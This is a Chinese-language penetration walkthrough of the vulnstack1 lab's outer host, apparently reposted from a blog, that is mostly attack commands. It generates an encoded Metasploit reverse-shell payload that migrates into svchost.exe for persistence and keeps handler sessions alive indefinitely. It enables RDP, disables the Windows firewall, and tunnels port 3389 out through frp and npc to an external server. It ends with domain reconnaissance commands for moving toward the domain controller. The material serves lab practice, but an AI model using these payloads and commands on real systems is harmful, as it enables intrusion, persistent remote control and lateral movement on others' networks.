vulnstack1靶機實戰(-)外層主機滲透


 

、本文章主要那邊界機器作為msf和cs學習練習用

參考鏈接

https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247484720&idx=1&sn=2772684974b506ee81f7e8def15a37ed&scene=21#wechat_redirect

拿到邊界機器的webshell之后,上傳Temp目錄或者尋找網站upload文件夾嘗試上傳。

msfvenom所有參數

-p, –payload < payload> 指定需要使用的payload(攻擊荷載)。也可以使用自定義payload,幾乎是支持全平台的

-l, –list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all

-n, –nopsled < length> 為payload預先指定一個NOP滑動長度

-f, –format < format> 指定輸出格式 (使用 –help-formats 來獲取msf支持的輸出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder(編碼器),指定需要使用的編碼,如果既沒用-e選項也沒用-b選項,則輸出raw payload

-a, –arch < architecture> 指定payload的目標架構,例如x86 | x64 | x86_64

–platform < platform> 指定payload的目標平台

-s, –space < length> 設定有效攻擊荷載的最大長度,就是文件大小

-b, –bad-chars < list> 設定規避字符集,指定需要過濾的壞字符例如:不使用 '\x0f''\x00';

-i, –iterations < count> 指定payload的編碼次數

-c, –add-code < path> 指定一個附加的win32 shellcode文件

-x, –template < path> 指定一個自定義的可執行文件作為模板,並將payload嵌入其中

-k, –keep 保護模板程序的動作,注入的payload作為一個新的進程運行

–payload-options 列舉payload的標准選項

-o, –out < path> 指定創建好的payload的存放位置

-v, –var-name < name> 指定一個自定義的變量,以確定輸出格式

–shellest 最小化生成payload

-h, –help 查看幫助選項

–help-formats 查看msf支持的輸出格式列表

防止假session

在實戰中,經常會遇到假session或者剛連接就斷開的情況,這里補充一些監聽參數,防止假死與假session。

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后繼續監聽端口,保持偵聽。

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默認情況下,如果一個會話將在5分鍾(300秒)沒有任何活動,那么它會被殺死,為防止此情況可將此項修改為0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默認情況下,一個星期(604800秒)后,會話將被強制關閉,修改為0可永久不會被關閉

handler后台持續監聽

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持續監聽,-j為后台任務,-z為持續監聽,使用Jobs命令查看和管理后台任務。jobs -K可結束所有任務

快捷的建立監聽方式,在msf下面執行

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

會直接在jobs里面生成監聽隊列

 

payload的可持續化

一般來說使用msfvenom生成的payload會單獨開啟一個進程,這種進程很容易被發現和關閉,在后期想做持久化后門

 

 在生成payload時可直接使用如下命令,生成的payload會直接注入到指定進程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

生成的shell程序執行后會啟動兩個進程shell.exesvchost.exe,關閉其中一個不會影響會話狀態。

(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使這個程序默認會遷移到svchost.exe進程,自己測試的時候不建議到這個進程而是其他的持久進程。

(2)使用-p指定使用的攻擊載荷模塊,使用-e指定使用x86/shikata_ga_nai編碼器,使用-f選項告訴MSF編碼器輸出格式為exe,-o選項指定輸出的文件名為payload.exe,保存在根目錄下。

將生成的shell.exe傳入Temp目錄,然后在webshell管理工具里面執行。

攻擊機監聽

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 10.211.55.2
set LPORT 3333
set ExitOnSession false
exploit -j -z

查看是否開啟遠程桌面服務

netstat -an | findstr "3389"

在webshell里面開啟遠程桌面命令

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

直接連接遠程遠程桌面,連接不上去,目標機器開啟了防火牆

在msf里面使用命令關閉防火牆

netsh advfirewall set allprofiles state off

 

 

直接連接靶機

 

第二種思路,使用frp反彈3389端口到公網。

目標靶機上傳frpc,frpc.ini配置文件如下配置

[common]
server_addr = ip
server_port = 7000

[mysql] 
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 33891

公網監聽frps,等待端口反彈

第三種思路,使用npc,上線nps

 

 webshell上傳npc

 

webshell執行命令上線

npc.exe -server=192.168.2.113:8024 -vkey=123321 -type=tcp

 

目標靶機成功上線

 

此時就可以通過建立socket連接通道結合proxychains或者proxifier做全局代理實現內網橫向滲透。

下面就是殺入域控,先做一些基礎的信息搜集,滲透測試的本質就是信息搜集

ipconfig /all    查詢本機IP段,所在域等
net config Workstation    當前計算機名,全名,用戶名,系統版本,工作站域,登陸域
net user    本機用戶列表
net localgroup administrators    本機管理員[通常含有域用戶]
net user /domain    查詢域用戶
net user 用戶名 /domain    獲取指定用戶的賬戶信息
net user /domain b404 pass    修改域內用戶密碼,需要管理員權限
net group /domain    查詢域里面的工作組
net group 組名 /domain    查詢域中的某工作組
net group "domain admins" /domain    查詢域管理員列表
net group "domain controllers" /domain    查看域控制器(如果有多台)
net time /domain    判斷主域,主域服務器都做時間服務器
ipconfig /all    查詢本機IP段,所在域等

 

直接ping域服務器

 

 可以得到域控的IP

192.168.52.138

net group /domain 查詢域里面的工作組

Domain Admins :域管理員
Domain Computers:域內機器
Domain Controllers:域控制器
Domain Guests:域訪客
Domain Users:域用戶
Enterprise Admins:企業系統管理員 

另外一些常用的查詢命令

whoami
systeminfo
nslookup god.org    # 解析域名IP地址
net config workstation  #查詢當前登陸域及登陸用戶信息
net view /domain   #查看域
net time /domain  # 獲取域服務器的時間

查詢操作系統信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  # 英文操作系統
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"   # 中文操作系統
echo %PROCESSOR_ARCHITECTURE%    # 查看系統系統結構

查看安裝的軟件以及版本、路徑信息

wmic product get name,version   # 使用wmic操作
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version"   #使用powershell進行操作

另外一些查詢命令

wmic service list brief   # 查詢本機服務信息
tasklist                   #查詢進程
wmic process list brief   #使用wmic查詢進程
wmic  startup get command,caption   #查看啟動進程
schtasks /query /fo list /v      # 查看計划任務
net statistics workstation     # 查看主機開機時間
netstat -ano    #查詢端口列表
wmic qfe get caption,description,hotfixid,installedon   #查詢本機安裝的補丁

查詢機器內賬號信息

net user    #查看本機用戶列表
net localgroup administrators  # 獲取本地管理員
query user || qwinsta   # 獲取在線用戶
net session    # 列出計算機所連接的客戶端之間的會話
net share   # 查看本機共享列表
wmic share get name,path,status #使用wmic 查詢本機共享列表

關閉防火牆

netsh firewall set opmode disable   # windows server 2003 之前
netsh advfirewall set allprofiles state off  # windows server 2003 之后

開啟3389

注冊表打開:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f   #開啟的話把0改為1
wmic開啟3389:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

探測域內存活主機

Ping命令探測內網主機
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
使用Ladon插件在CobaltStrike上查詢存活主機
Ladon 192.168.52.0/24 OnlinePC

查找域控

nltest /domain_trusts #獲取域信任信息
nltest /DCLIST:god #查看域控制器機器名
net group "domain admins" /domain #查詢域管理員用戶
net group "Enterprise admins" /domain # 查詢管理員用戶在

 

 

 

 

 

PS msfshell執行命令中文亂碼

解決方案:將終端窗口的編碼方式改為GBK編碼

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM